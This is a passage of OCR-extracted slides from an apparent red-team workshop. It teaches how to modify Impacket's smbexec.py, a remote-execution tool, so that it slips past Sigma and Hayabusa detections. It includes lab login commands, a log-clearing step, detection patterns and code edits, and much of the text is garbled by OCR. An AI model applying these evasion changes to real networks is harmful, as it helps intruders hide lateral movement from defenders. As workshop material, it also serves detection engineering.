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Understand Common Indicators

Modify Code to Address Indicators

@ Cerbersec

If a red team offering professional services isn't capable of changing
defaults and implementing OPSEC they're a bunch of clowns wasting

customer's money. If that's the case, frankly they should be using Cobalt "Kn ow YO ur TO O | S" M A ntra
Strike to push buttons. Spend $3k on a maldev course instead of BR

) Justin Elze

Opsec or die | guess

bruteratel.com/release/2024/0... D eve | O p a M Et h O d O | Ogy




What is OPSEC?

Operational security is the minimization
of adversarial exposure, recognition,
and reaction to the existence of an

operation.
o Matthew Monte, Network Exploitation and Attacks




A good operator and
has an idea of how the tool is
on their
behalf. ---- Fortra

Beacon Command Behavior and OPSEC Considerations



https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/appendix-a_beacon-opsec-considerations.htm

Understand what can be seen

Minimize exposure




Red Teaming has gotten more difficult
EDRs have improved
Less tooling released publicly

Need to develop this ability ourselves!



Disk Indicators
Memory Indicators

Process Indicators

N etWO rk | i d | CatO 'S TL4S Preentations



https://attl4s.github.io/

Facing a Mature Adversary

e Disk Indicators
e Memory Indicators SMBEXEC
e Process Indicators

e Network Indicators



Methodology

1-Initial Test 2 - Hypothesize 3 - Research 4 - Experiment 5 - Iterate

Gain an ldentify items/ Conduct research  Modify different Re-test and
understanding of  artifacts we think  to support/ aspects to avoid/ validate whether
what the tool does are causing the disprove the limit artifacts. indicators were

and how it works.  alerts. hypothesis. avoided.
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e Topology
e Logging

®* Sysmon

e Analysis Tools




v i GuAWS X+ _

e Access to the workshop VMs is provided via
Apache Guacamole
 Navigate to the EC2 DNS address to access
the login portal
o Use the provided credentials
e Take a couple mins now and verify you can
login
e Access the Guacamole menu:
o Ctrl+Alt+Shift
e Copy/Paste to the VMs should work
o Otherwise use the Guacamole menu

« = & © Not secu re  hips//ec2-44-222-89-193.compute-1.amazonaws.com/#/ [f] v

Apache Guacamole Guide

O Ubuntu RDP
O windows DC 2K22 RDP



https://guacamole.apache.org/doc/gug/using-guacamole.html

Apache

Guacamole
EC2 DNS Addr.

Remote
Connection
Manager

RDP/SSH/VNC

Private Subnet 192.168.x.16/28

Attacker Target
IP:192.168.x.28 IP: 192.168.x.20

OS: Ubuntu 24.04 OS: Server 2022
Tools: Tools:

impacket suite Sysmon
smbexec.py Sysmon-modular

smbclient.py Hayabusa
psexec.py Sigma




e Tracks user and system activities across the
Windows environment et VO
e Records information regarding: _. _ e gy
° Account logons ol e
o File and system access e |

General  Details
Key Management Se

O S t f. t . h ”I“_ |A security-enabled local group membership was enumerated.
Ap
ystem contiguration cnanges oo seceviioton || e
’ ! Security ID: LOCAL SERVICE
. unt Marme: LOCAL SERVICE
O P roceSS tra C kl ng oy i unt Domain: NT AUTHORITY
. i Logon |D: (w4638F3

|Group:

* Analyzing log data can help identify and
Investigate suspicious activities

e Assists in post-incident analysis to
determine the scope and impact of a o | T e i

Information A : Audit 5 5

|Process Information:

AppM ne ¢ : rogram Files\Azure Advanced Threat Protection Sensor
I a4\ Microsoft. Tr. Sensor.exe

AppReadiness

Securnity

M/A : opsectarget.bsides.local

breach e S

Maore Infermation:  Event Log Online Help




Event Log Reference

L
Description

Security 4624 User logon, Type 2: Interactive, Type 3: Network, Type 10: Remote(RDP)
Security 4634 User logoff
Security 4688 New Process created: PID, Name, PPID, Command line? (if enabled)
Security 4697 A service was installed on the system (if enabled)
System 7036 A service was stopped or started
System 7045 Creation of a new service on the system




| StorageSpaces-SpaceM A - Operational Number of events: 1,883 (1) New events available

StorDiag - = =
Level Date and Time Source EventID Task Category

(i) Infermation fodd PV } 1 Process Create (rule: ProcessCreate)

e Free utility included with Sysinternals Suite - i

Process Create (rule: ProcessCreate)

Y 1) Information 1 PM Y5 3 Registry value set (rule: RegistryEvent)

. . rstemse [ Information 0:46 ] ) 3 Registn ue set (rule: Registn

° Comp|ement5 Windows Event Loggmg wischedier Drbomsion GBI S it et

= i) Information y ( 5 3 Registry va ( 3
) c : i) Information 2410 Mon 3 g =

ff d . . h . o - ; i) Information 4 10:4 ) 13 Re alue set (rule: Regi
. O e rS e e p I n S Ig tS I n to . S e i ) Information By 0:46:37 PM y ) i ated (rule: FileCreate)

TerminalSery

i ) Information 3 PM YSMo 2 Registry object added or deleted (rule: RegistryEvent)

| TermimnalS
TerminalSe

o process creations

General Details

o network connections i Rl e 47102 techique,amesObfsctd e o nformatin

TZUtil 44210
UG 0-5401-000000000200}

O f' | ‘L : UAC-FileVirtualization imng S
I e l I IO I I Ca I O n S | Ul-Searc FileVersion: 10.0.17 inBuild.1
= i ommand Process
ndoy perating System
rperation

e registry chan ges .. _ ne C\Window

e Installs a driver and runs as a service
e Highly customizable via config file

ParentProcessid

Parentimage: C:\
WebAuthM ParentCommandLline: C;
WeblO Parentlser: NT AUTHC

Sysmon Download

Event Log Location:
Applications and Services Logs/Microsoft/Windows/Sysmon/Operational


https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon

Svsmon EID Reference

Description
1 Process Creation: logs the creation of a process, process name and command line.
3 Network Connection: logs when a process makes a connection to an IP/port
7 Image Loaded: monitors when an image or executable is loaded
8 Create Remote Thread: logs the creation of a remote thread in another process,
11 File Created: Tracks the creation of files
17 Named Pipe Created: logs the creation of a named pipe, the process creating it




Sysmon Config

e Sysmon configuration file created by Olaf Hartong
o Using this configuration in the workshop lab
e Different configurations ranging from balanced to extremely verbose
e Recommended that users tune the configurations to their environment

<!-- Event ID 1 == Process Creation - Excludes -->
<RuleGroup groupRelation="or">
<ProcessCreate onmatch="exclude">
<Rule groupRelation="and">»
<Image condition="end with">AcroRd32.exe</Image>
<CommandLine condition="contains any">/CR;channel=</CommandLine>
</Rule>
<Rule groupRelation="or">»
<Image condition="end with">C:\Program Files (x86)\Adobe\Acrobat DC\Acrobat\AcroCEF\AcroCEF.exe</Image>
<ParentImage condition="end with">C:\Program Files (x86)%“Wommon Files\Adobe‘\AdobeGCClient\AGSService.exe</ParentImag
<Image condition="end with">C:\Program Files (x86)\Adobe‘\Acrobat Reader DC\Reader\AcroCEF\RArCEF.exe</Image>

Sysmon Modular Download



https://github.com/olafhartong/sysmon-modular/

Windows Forensics/Threat Hunting tool
o Created by Yamato Security group
Speeds up Event Log analysis
Outputs JSON, HTML, CSV etc.
o Easily imported into analysis tools
Multiple commands:
csv-timeline
pivot-keywords-list

O

O

eid-metrics

computer-metrics

Hayabusa

PS C:\Tools\hayabusa> .\hayabusa.exe help
Hayabusa v2.16.0 - FIRSTCON24 Release

Yamato Security (https://github.com/Yamato-Security/hayabusa - @SecurityYamato)

Usage:

hayabusa.exe <COMMAND> [OPTIONS]
hayabusa.exe help <COMMAND> or hayabusa.exe <COMMAND> -h

Commands :
computer-metrics
csv-timeline
eid-metrics
json-timeline
level-tuning
list-contributors
list-profiles
logon-summary
pivot-keywords-list
search
set-default-profile
update-rules
help

PS C:\Tools\hayabusa>

Print computer name metrics

Save the timeline in CSV format

Print event ID metrics

Save the timeline in JSON/JSONL format

Tune alert levels (default: ./rules/config/level tuning.txt)
Print the list of contributors

List the output profiles

Print a summary of successful and failed logons

Create a list of pivot keywords

Search all events by keyword(s) or regular expression

Set default output profile

Update to the latest rules in the hayabusa-rules github repository
Print this message or the help of the given subcommand(s)

Hayabusa GitHub



https://github.com/Yamato-Security/hayabusa

e Released by Florian Roth in 2017
e YAML based, platform agnostic detection-rules framework

o Allows defenders to more easily share detections
e Rules can be imported into many different SIEM tools: ELK, Splunk, etc.

- Rule Packs
.' iy ':.I. } 1 I' i nac

o -
% detection_rule.yml O G splunk'} “\::
RAPIDF)

2

Sigma HQ_

' Sigma Format Sigma Converter

ne ) I iraple Batarti = ]
EM Jue


https://sigmahq.io/
https://sigmahq.io/

Sigma Primer

title: Impacket SMBexec.py Execution (RedCanary Threat Detection Report)
id: 671651fd-62el1-48d7-b5e8-81bl1746ec@dd

Four Main Sections: eotues oxperimental

description: Detects execution from Impacket's smbexec.py. Part of the RedCanary 2823 Threat Detection Report.

1.Metadata

- https://redcanary.com/threat-detection-reportfthreats/impacket/

2. Logsou rce author: RedCanary, Sigma formatting by Micah Babinski

date: 2823/85/10

3.Detection

- attack.s@357
4. Level logsource:
category: process creation
product: windows
detection:
selection:
ParentImage|endswith: "\services.exe'
Image |endswith: "\cmd.exe’
CommandLine|re: '(?i)cmd.exe \/Q \/c echo cd "> \\\\127.0.0.1\\[a-zA-Z]{1, }\$\\__ output 2\ >\~&1 > .* & °
condition: selection
falsepositives:
- Unknown

level: low



Workshop Agenda

e |Introduction

[I] README &[® License Z[3 Security

Impacket ® BaCkgrOund

pypi _ 0 Build and test Impacket m

FORTRA. Copyright (C) 2023 Fortra. All rights reserved.

difyi faul
Impacket was originally created by SecureAuth, and now maintained by Fortra's Core Security. ‘ IVI O I y I n g D e a u tS

Impacket is a collection of Python classes for working with network protocols. Impacket is focused on providing low-
level programmatic access to the packets and for some protocols (e.g. SMB1-3 and MSRPC) the protocol
implementation itself. Packets can be constructed from scratch, as well as parsed from raw data, and the object-

o
oriented APl makes it simple to work with deep hierarchies of protocols. The library provides a set of tools as ‘ ‘ O ' ' I ' ' I a n d E X e C u t I O n

examples of what can be done within the context of this library.

What protocols are featured?

e i ok e e Service Creation

e [P, TCP, UDP, ICMP, IGMP, ARP.
e |Pv4 and IPv6 Support.
e NMB and SMB1, SMB2 and SMB3 (high-level implementations).

e Credential Dumping



What is Impacket?

Name

[ DumpNTLMInfo.py
[ Get-GPPPassword.py
O GetADComputers.py
O GetADUsers.py

[ GetLAPSPassword.py
D GetNPUsers.py

[ GetUserSPNs.py

0O addcomputer.py

D atexec.py

O changepasswd.py
[ dacledit.py

O dcomexec.py

D describeTicket.py
(3 dpapi.py

D esentutl.py

O exchanger.py

Impacket GitHub

Last commit message

Update DumpNTLMInfo.py: Allow non-defa

Updated Copyright to 2023

GetADComputers.py and readLAPS.py (#16

Updated Copyright to 2023

Implement M5-GKDI and LAPSv2 password

Updated Copynight to 2023

Unicode fixes V1 (#1631)

Adds the creation of a new machine accour

Updated Copyright to 2023

Display full help when invoked without par:

updated copyright notice

Updated Copyright to 2023

[describeTicket.py] New example script: tick

Added CREDHIST support (#1564}

Updated Copynight to 2023

Updated Copyright to 2023

Comprehensive Toolkit
Collection of Python classes for working with

network protocols: IP, TCP, UDP, ICMP, SMB,
MSRPC, NTP, etc.

Creators/Maintainers
Created by SecureAuth but now maintained by

Fortra, formerly HelpSystems.

Versatility
Used for enumeration, lateral movement, remote

code execution, credential dumping, etc.


https://github.com/fortra/impacket

Offensive
Security
Usage

Testing and Validation
Tooling 2023

Red Canary Report



https://redcanary.com/threat-detection-report/threats/impacket/

JOINT =

CYBERSECURITY ADVISORY {0 fg‘}

APT actors maintained access through mid-January 2022, likely by relying on legitimate credentials.

Use of Impacket

CISA discovered activity indicating the use of two Impacket tools: wmiexec.py and smbexec.py.
These tools use Windows Management Instrumentation (WMI) and Server Message Block (SMB)
protocol, respectively, for creating a semi-interactive shell with the target device. Through the
Command Shell, an Impacket user with credentials can run commands on the remote device using
the Windows management protocols required to support an enterprise network.

CISA Cybersecurity Advisory

Lateral movement
Cadet Blizzard conducts lateral movement with valid network credentials obtained

from credential harvesting. To conduct lateral movement more efficiently, Cadet
Blizzard typically uses modules from the publicly available M E' framework.

While this framework is generically utilized by multiple actors, preferential
execution of patterns of commands may allow for more precision profiling of

Cadet Blizzard operations:

* PowerShell get-volume to enumerate the volume of a device

cmd.exe /Q /c powershell get-volume 1> \\127.0.0.1\ADMIN$\__

Figure 3. PowerShell get-volume command

MSTIC Russian Threat Actor Report



https://www.cisa.gov/sites/default/files/publications/aa22-277a-impacket-and-exfiltration-tool-used-to-steal-sensitive-information-from-defense-industrial-base-organization.pdf
https://www.microsoft.com/en-us/security/blog/2023/06/14/cadet-blizzard-emerges-as-a-novel-and-distinct-russian-threat-actor/

Workshop Agenda

odie@opsec: $ smbexec.py -h
Impacket v0.11.0 - Copyright 2023 Fortra

usage: smbexec.py [-h] [-share SHARE] [-mode {SERVER,SHARE}] [-ts] [-debug] [-codec CODEC] [-shell-type {cmd,powershell}]
[-dc-ip ip address] [-target-ip ip address] [-port [destination port]] [-service-name service_name]
[ -hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] [-keytab KEYTAB]

target
positional arguments:
target [ [domain/]Jusername[ :password]@]<targetName or address>
options:
-h, --help show this help message and exit
-share SHARE share where the output will be grabbed from (default C$)
-mode {SERVER,SHARE} mode to use (default SHARE, SERVER needs root!)
-ts adds timestamp to every logging output
-debug Turn DEBUG output ON
-codec CODEC Sets encoding used (codec) from the target's output (default "utf-8"). If errors are detected, run

at the target, map the result with https://docs.python.org/3/1ibrary/codecs.html#standard-encoding
execute smbexec.py again with -codec and the corresponding codec

-shell-type {cmd,powershell}
choose a command processor for the semi-interactive shell

connection:

-dc-ip ip address IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in th
parameter

-target-ip ip address
IP Address of the target machine. If ommited it will use whatever was specified as target. This is
when target is the NetBIOS name and you cannot resolve it

-port [destination port]
Destination port to connect to SMB Server

-service-name service_name
The name of theservice used to trigger the payload

authentication:
-hashes LMHASH:NTHASH
NTLM hashes, format is LMHASH:NTHASH

-N0-pass don't ask for password (useful for -k)

-k Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target param
valid credentials cannot be found, it will use the ones specified in the command line

-aesKey hex key AES key to use for Kerberos Authentication (128 or 256 bits)

-keytab KEYTAB Read keys for SPN from keytab file

Introduction
Background
Modifying Defaults
Command Execution
Service Creation

Credential Dumping



Understanding smbexec

Created by Eric Milam bravOhax in 2013
Remote command execution via semi-
interactive shell over SMB port 445

Creates temporary service to execute
commands via %COMSPEC%
o Does not upload a service binary to
disk like psexec
Executes in “System” context
o Need Admin privileges

/ //”'
e
e
<[>< ACCUVANT

Getting the goods with smbexec

Eric Milam — BravOhax

SMBexec Defcon Presentation

BravOhax GitHub



https://github.com/brav0hax/smbexec
https://www.youtube.com/watch?v=dCQNFaEZkuw
https://www.youtube.com/watch?v=dCQNFaEZkuw

Execution Analysis

1. Create Service .

batchFile = "#5YSTEMROOT%

+

e Service created to execute a command: ;" .jnin([randn?ét}:??iceisﬁring.ascii_letterﬁ} \
. or _ in range + ' bat’
o “Create and execute a batch file” command = self.__shell + 'echo ' + data + ' "> ' +
self.__output + ' 27>7&1 > ' + batchFile + " & ' +
. if self.__mode == 'SERVER':
2. Create/Execute Batch File __comand = & 7 v self.__copyBack

e Batch file built using “echo” and file redirection 1ogging.debug('Executing %s’ % command)

. resp = scmr.hRCreateServicel(self.__scmr, self.__scHandle.
o Executed via %COMSPEC% self.__serviceName, self.__serviceName,
lpBinaryPathName=command,

duStartType=scmr.SERYICE_DEMAND_START)

service = respl’'lpServiceHandle']

3. Delete Files

e Batch file, output file, and service is deleted

try:
scmr . hRS5tartServicel(self.__scmr. service)



Hypothesis

Batch File Name Service Name

Timestamp - RuleTitle - Level - Computer - Channel - EventID - RecordID - Details - ExtraFieldInfo
2024-06-30 14:49:39.828 +00:00 - smbexec.py Service Installation - high - opsectarget.bsides.local - Sys - 7045 - 2858 - Svc: OFEQdFdM | Path: %COMSPEC%

/Q /c echo cd "> \\ACOMPUTERNAMEX\C$\ output 27>"8&1 > XSYSTEMROOTX®\GvkuvAju.bat & %RCOMSPECX /Q /fc XSYSTEMROOTX\GvkuvAju.bat & del ASYSTEMROOTZ\GvkuvAju.

lbat | Acct: LocalSystem | StartType: demand start - ServiceType: user mode service
1

2024-06-30 14:49:43.840 +00:00 - smbexec.py Service Installation . hish . onsectarset bsikes.local - Sys - 7045 - 28608 - Svc: OfEQdFdM | Path: %COMSPECH%
/Q /c echo whoami "> \\ACOMPUTERNAMEZX\C$\_ output 2">"8&1 > ZSYSTEMROOT%\DBINiPwm.bat % %COMSPEC% /Q /c %SYSTEMROOT%\DBINiPwm.bat & del %SYSTEMROOTZ\DBINi

IPwm.bat | Acct: LocalSystem | StartType: demand start - ServiceType: user mode service

2024-06-30 14:49:48 805 +0A:00 - smhexec.nv Service Tnstallation - hish - onsectarset_hsides.local - Svs - 7045 - 2862 - Svc: OFFQdFdM ! Path: %COMSPFC%

/Q Jc echo 535temin$ﬂ Ny HH%EDMPUTERNAHE%HE$H__ﬂutput 2°>"&1 » BSYSTEMROOTXA\ffivKsAQ.bat & %COMSPECH fﬁ Jc RSYSTEMROOTX\ffivKsAQ.bat & del XSYSTEMROOTZAT
1 user mode service

TivksA().bat ; Acct: Localsystem ; Startlype: demand start - 5ervic

Command Line

Path:
%ACOMSPECR /Q fc echo systeminfo ~» \\ACOMPUTERNAME®R\C$\_ _output 2">"&1 > %RSYSTEMROOTZE\ffivKsAQ.bat &

#COMSPEC%: /Q fc ASYSTEMROOT#A\FfivKsAQ.bat &
del %SYSTEMROOTH\ffivKsAQ.bat



esearch

28
21
22
23
24
25
26
27
28
29
38
31
32
33

detection:
zselection_eid:
Provider Mame: 'Service Control Manager'
EwventID: /@45
selection_service name:
ServiceName: "BTOBTO®
selection_service_ image:
ImagePath|contains:
- ".bat & del *
- " output 2°»>"81 >»°
condition: selection_eid and 1 of selection_service ¥
falsepositives:
- Unknown

level: high

Smbexec Sigma Rule

25
26
27
28
29
38
31
32
33
34
35
36
37
38

detection:
selection:
ParentImage |endswith: "\services.exe'
Image|endswith: "‘\cmd.exe’
CommandLine | contains:
-
- "t
- "echo’
- ""'"}
- 2% NE1 »
condition: selection
talsepositives:
- Unknown

level: low

Red Canary Impacket Threat Detection



https://github.com/SigmaHQ/sigma/blob/412edd1e1abb29a021e51d2aca7abbbe47afca25/rules/windows/builtin/system/service_control_manager/win_system_hack_smbexec.yml
https://github.com/mbabinski/Sigma-Rules/blob/main/2024_RedCanary_ThreatDetectionReport/threat_impacket_smbexec_execution.yml

Validate Findings

55

56
57
58

175
176
177

178
179
180

OUTPUT FILENAME = ' output’
BATCH FILENAME = ‘'execute.bat'’
SMBSERVER DIR = ' +tmp~

DUMMY SHARE = "TMP'
SERVICE_NAME = "BTOBTO'

@@ -176,7 +175,6 @@ def _init_ (self, share, rpc, mode

self. share = share

self. mode = mode

self. output = "\}\\127.8.8.1\\" + self. shar
self. batchFile = "XTEMPE\\' + BATCH FILENAME
self. outputBuffer = b"’

self. command = "'

self. shell = "RCOMSPECE /Q /fc °

Previous smbexec IOCs

Service Name

Testing revealed a service is created with an odd name.
Research revealed previous detections for the old service
name BTOBTO

Batch File

Testing revealed a batch file is created with an odd name.
Research revealed previous detections for the old name
execute.bat

Command Line

Command line stringing multiple actions and redirecting
output. Research revealed detections for “.bat & del” and
"__output 2A>A&1 >"



https://github.com/fortra/impacket/commit/35cbac53c7cf78563c3e7269bcafbc6706083f01

Service Name

8 random mixed-case alpha characters e OPSEC Considerations:
New random name generated each session o What are some good options to blend in?
Can be specified as an option at run time o Common processes for specific OS?

o -service-name <svc_name> o What are some names to avoid?
Exercise: e Hint:

o Chose an opsec-friendly service name o List services on DCO

m PS> Get-Service

if serviceName is None:

self. serviceName **_.join(| random.choice(string.ascii letters) for i in range(8)])
else:

serviceName

self. serviceName



Batch Filename

e 8 random mixed-case alpha characters e OPSEC Considerations:
e New random name generated each command o What file name would blend in better?
e Cannot be specified as a command line option o What other file type could we use?
o Hard-coded at line #286 e Hint:
e Exercise: o Do some quick host enumeration on DCO1

o Choose a more opsec-friendly file name

C:\Windows\jFadktrE.bat & C:\Win
&1 > C:\Windows\vsFstvIg.bat & C:
275 &1 > C:\Windows\IeDmGNZF.bat

batchFile = "ZSYSTEMROOTE\\' + ''.join{ random.choice(string.ascii letters) for _ in range(8) ) + ".bat’



Output Filename

e Echoing commands into .bat files
o Creating “__output” files
e How often have you seen files with“__"on a
Windows host?
o Hard-coded on line #57
e Exercise:
o Choose a more opsec-friendly file name

systeminfo "> \\ACOMPUTERNAMEX*\C$%\ output

e OPSEC Consideration:
o What constitutes a better file name?

e Hints:

o Enumerate DCO1
o Find a more common file name

27>"&1

57
58
59

6@

OUTPUT FILENAME = ' output’
SMBSERVER DIR = ' tmp’
DUMMY SHARE - 'TMP"

CODEC = sys.stdout.encoding



Output Share

e Share can be specified on the command line

o -share <share_name> o What are some common shares?
e What would be a better staging directory? e Hints:
e Exercise: o List shares on DCO1
o Find a “better” file share for output s PS> Get-Smbshare
182 self. output = "\\\\%XCOMPUTERNAMEZ%\\' + self. share + '\\' + OUTPUT_FILENAME
183 self. outputBuffer = b'’

m STAGING DIRECTORIES: PROCESS EXECUTION

08:29:47UTC

C:\Windows\System32\rundlII32.exe

Process: C:\Users\Public\Libraries\CNNUDTV\DateCheck.exe

“C:\Users\Public\Libraries\CNNUDTV\DateCheck.exe"




EX:

o Clear the event logs on DC01!
o PS> \clear_logs.bat ,
. . Take 15 minutes to complete Ex 2!
o Make a copy of the original smbexec.py :
Let us know if you need any help!
o $ cp smbexec.py og_smbexec.py
o Open up smbexec in editor of choice (nano/vim)
o $ nano -l smbexec.py
o Replace the random batch file name with a more opsec-friendly name
o Replace the output file name with a more opsec-friendly name
° Run smbexec with the share name and service name options

o $ smbexec.py BSIDES/jason:'Password123!"@192.168.x.20 -share <share> -service-
name <service>
o Execute Hayabusa on the DCO01
o PS> cd C:\Tools\hayabusa
o PS> \hayabusa.exe csv-timeline -| -r rules/impacket --no-wizard



EX:

o Clear the event logs on DCO1!
o PS> \clear_logs.bat
° Make a copy of the original smbexec.py
o $ cp smbexec.py og_smbexec.py
o Open up smbexec in editor of choice (nano/vim)
o $ nano -l smbexec.py
o Replace the random batch file name with a more opsec-friendly name
o $ Line # 286
o Replace the output file name with a more opsec-friendly name
o $ Line # 57
° Run smbexec with the share name and service name options
o $ smbexec.py BSIDES/jason:'Password123!'@192.168.x.20 -share <share> -service-name
<service>
° Execute Hayabusa on the DC01

o PS> \hayabusa.exe csv-timeline -I -r rules/impacket --no-wizard



Workshop Agenda

e |Introduction

1 Information 7/7/2024 4:22:54 PM Service Control Manager
¥ Error 7772024 4:.22:49 PM Service Control Manager 009 Mone
(i) Information 772024 4:22:48 PM

L
' | | Information 77772024 4:21:24 PM Service Control Manager 7036 MNone

ervice Control Manager 43 Mone

Background

Event 7043, Service Control Manager

General Details

A service was installed in the systemn.

Moditying Defaults

ervice Mame: uehsv
rvice File Name: S%COMSPECS: /O / whoami *>» W% COMPUTERMAME3G\( ) ArhBT » SRSYSTEMROOT
IVCRedBE.bat & ¢ Z MROOT %Y VCRedBE. &L del F65Y5 ".i-: IZ:F!.v.:n:IE-E-.hat
W, =20 TTITOUE SElNYTLeE
vice _.tartT,p'.-_- demand start
r.-m.—.-;-cmnur1t LocalSystem

Log Mame: System

® ®
Source: Service Control Manager Logged: 7/7/2024 4:22:54 PNV S e rV I C e ‘ r e a t I O n
Event ID: 7045 Task Categorny: Mone

Level: Information Keywords: Classic

User: :5IDESYjason Computer: opsectarget.bsides.local

Credential Dumping



Process Hierarchy

1. Echo Command into Batch File

cmd.exe /Q /c echo [...snip...]> C:\Windows\aRpjlhMy.bat -

2. Execute Batch File L

cmd.exe /Q /c C:\Windows\aRpjlhMy.bat - -

3. Batch File (Command) is Executed
systeminfo > \\MULTIVERSE\C$\__output 2>&1

4. Delete Batch File

del C:\Windows\aRpjlhMy.bat - -




Process Hierarchy

1. Echo Command into Batch File
cmd.exe /Q /c echo [...snip...]> C:\Windows\aRpjlhMy.bat -

2. Execute Batch File
cmd.exe /Q /c C:\Windows\aRpjlhMy.bat

3. Batch File (Command) is Executed
systeminfo > \\MULTIVERSE\C$\__output 2>&1

4. Delete Batch File
del C:\Windows\aRpjlhMy.bat -

What is this:




Minimize Actions

e |nitial ‘cd’ executed before our commands
o Where did this come from?

e Placeholder for the cmd prompt

e Worth creating & deleting 2 files?

e OPSEC Consideration:
o Remove unneeded commands

BCOMSPEC% /Q /c echo cd "> \\NACOMPUTERNAMEZ®:\C$\ output



Minimize Actions

e Exercise:

o Find the “self.do_cd()" function
o Comment out the function

289 self. scHandle = resp|'lpScHandle']
210 self _transferClient = rpc.get smb connection()
211 self.do cd(" ")
212
253 #tself.execute remote('cd " )
254 ~ it len(self. outputBuffer) > 8:
255 # Stripping CR/LF
256 self.prompt = self. outputBuffer.decode().replace('\r\n'," ") + "'
257 ~ if self. shell type == 'powershell’:
258 self.prompt = 'PS ' + self.prompt + ° '|

259 self. outputBuffer = b"’



Modifying Behavior: Solution

e Exercise:
o Find the “self.do_cd()" function

. 209 self. scHandle = resp['lpScHandle']
O Comment OUt the funCthn 216 self _transferClient = rpc.get smb_connection()
211 self.do cd(" ")
212
Solution Nano
$ nano -| smbexec.py
. 253 #self.execute _remote('cd ' )
$ go to |Ine 21 O 254 ~ if len(self. outputBuffer) > 0:
$ Add comment 255 # Stripping CR/LF
256 self.prompt = self. outputBuffer.decode().replace('\r\n',"") + ">’
257 ~ if self. shell type == 'powershell':
258 self.prompt = 'PS ' + self.prompt + ' 1

259 self. outputBuffer = b"'



File Creation

1. Echo Command into Batch File

cmd.exe /Q /c echo [...snip...]> C:\Windows\aRpjlhMy.bat Why create a new batch

file for each command?

2. Execute Batch File
cmd.exe /Q /c C:\Windows\aRpjlhMy.bat

3.Cmd Inside Batch File Executed

i +
systeminfo > \MULTIVERSE\C$\ 2581 Output written + deleted for

each command!

4. Delete Batch File
del C:\Windows\aRpjlhMy.bat Do we need to delete each time?

Path:

ACOMSPEC®: /Q /c echo systeminfo > \\GCOMPUTERNAMEX\C$\_ output 2">"&1 > XSYSTEMROOTZE\ffivKsAQ.bat &
ACOMSPECR /Q /c BSYSTEMROOTZ\FfivKsAQ.bat &

del ®SYSTEMROOTH\ffivKsAQ.bat



Modifying Approach

e \What benefits will this have?

e Current procedure:
Removes the “echo” part of the cmd

o Echo a command into a file 0
o Executing that file, redirecting output o Reduces number of batch files created
e How can we simplify this process? o Reduces command execution

o Create our own batch file e What drawbacks will this approach create?
o Upload the file to DCO1 o Modify how output is retrieved

o Execute the batch file

Path:
#COMSPEC%: /Q /c echo systeminfo "> \\ACOMPUTERNAMEZ\C$\ output 2*>"&1 > HASYSTEMROOTXZ\ffivKsAQ.bat &

ACOMSPEC%: /Q [fc BSYSTEMROOTH\FfivKsAQ.bat &
del RSYSTEMROOTH\FivKsAQ.bat



smbclient

odlieopsec:~$% smbclient.py -h

Tool used for interacting with SMB shares Impacket V0.11.6 - Copyright 2623 Fortra
O COnneCt and browse Sha res usage: smbclient.py EEE}PEEi:t:ﬁ:EimE-zizﬂ [-hashes LMHASH:NTHASH] [-no-pass] [-k]
. target
o Upload/Download/Delete files S5 cliont implenentation
Establish connection: positional arguments: |
target [ [domain/ Jusername|[ :password]@]<targetName or address>
O $ SmbC/ient.py DOMA/N/USQf.’pGSS@/P optional arguments:
-h, --help show this help message and exit
Connect to SpeCIerd Share: :Z;ingILE _::._Erp:tn';;t: ztzgugogmands to execute in the mini shell

O $ use ADMIN$ authentication:

-hashes LMHASH:NTHASH
NTLM hashes, format is LMHASH:NTHASH

Up'Oad/DOWH|Oad flleS -no-pass don't ask for password (useful for -k)
-k Use Kerberos authentication. Grabs credentials from ccache file
1 credentials cannot be found, it will use the ones specified in
< $ pUt <ﬁ/e> -aesKey hex key AES key to use for Kerberos Authentication (128 or 256 bits)
O <f > connection:
$ get Ile -dc-ip ip address IP Address of the domain controller. If omitted it will use the
: -target-ip ip address
DElEte flles IP Address of the target machine. If omitted it will use whatev

NetBIOS ngme and you cannot resolve it

1 -port [destination port]
© $ rm <ﬁ/e> Destination port to connect to SMB Server



techo off

e Create a batch file that contains multiple
commands :
e Redirect all output to the same file : [eet outputErie\scousuTE
o Reduces the number of files created
o Limits the number of new services
Created!




Take 5 minutes to complete the exercise!
o Create your own batch file Let us know if you need any help!

techo off




Retrieving Output

 \We have modified the command execution
o Executing multiple commands at once, not 1-by-1
e Do we still need a semi-interactive shell?
o Or could we just download the output file and delete it?

366 try:

381 scmr. hRStartServiceW(self. scmr, service)
362 except:

363 pass

384 scmr.hRDeleteService(self. scmr, service)

305 scmr.hRCloseServiceHandle(self. scmr, service)
306 selt.pet output()

L

-__J



Retrieving Output

e Exercise:

268
269
270
271
272
273
274
275
276
277
278
279

o Comment out the “self.get_output()” function

det pet output(self):
def output callback(data):
self. outputBuffer += data

1t self. mode == "SHARE':
self.transferClient.getFile(self. share, OUTPUT FILENAME, output callback)
self.transferClient.deleteFile(self. share, OUTPUT FILENAME)
else:
fd = open{SMBSERVER DIR + '/" + OUTPUT FILENAME, 'rb")
output callback(fd.read())

fd.close()
os.unlink(SMBSERVER DIR + '/"' + OUTPUT FILENAME)



Retrieving Output: Solution

e Exercise:
o Comment out the “self.get_output()” function

SOLUTION:
grep -in "self\.get_output()" smbexec.py
sed -i 's/self\.get_output()/#self\.get_output()/ ' smbexec.py

grep -in "self\.get_output()" smbexec.py

odie@opsec:~/.local/bin$ grep -1 "self\.get output()" smbexec.py
self.get output()
odie@opsec:~/.local/bin$ sed -i 's/self\.get output()/#self\.get output()/ ' smbexec.py
odie@opsec:~/.local/bin$ grep -1 "self\.get output()" smbexec.py
#self.get output()
odie@opsec:~/.local/bin$




Modify CMD Execution

e Uploading a batch file allows us to make 3 changes:
o Remove the “echo” portion
o Remove the command and output redirection
o Removes the ‘& del *.bat’

e |nput needs to be altered to

command = self. shell + 'echo ' + data + " "> ' + self. output + ' 27>*&1 > ' + batchFile + " & '
self. shell + batchFile

command += ' & ' + self. convBack
command += ' & ' + 'del ' + batchFile



Modify CMD Execution

e Exercise:

288
289

o Modify the command to only execute the batch file
o Change the “data” variable to be the location of the script
o Remove the “& + del + batchFile” portion of the command

command = self. shell + 'echo ' + data + ' "> " + self. output + ' 27>"&1 >
self. shell + batchFile

Take 5 minutes to complete the exercise!
Let us know if you need any help!

" + batchFile +

1 & L]



Modify CMD: Solution

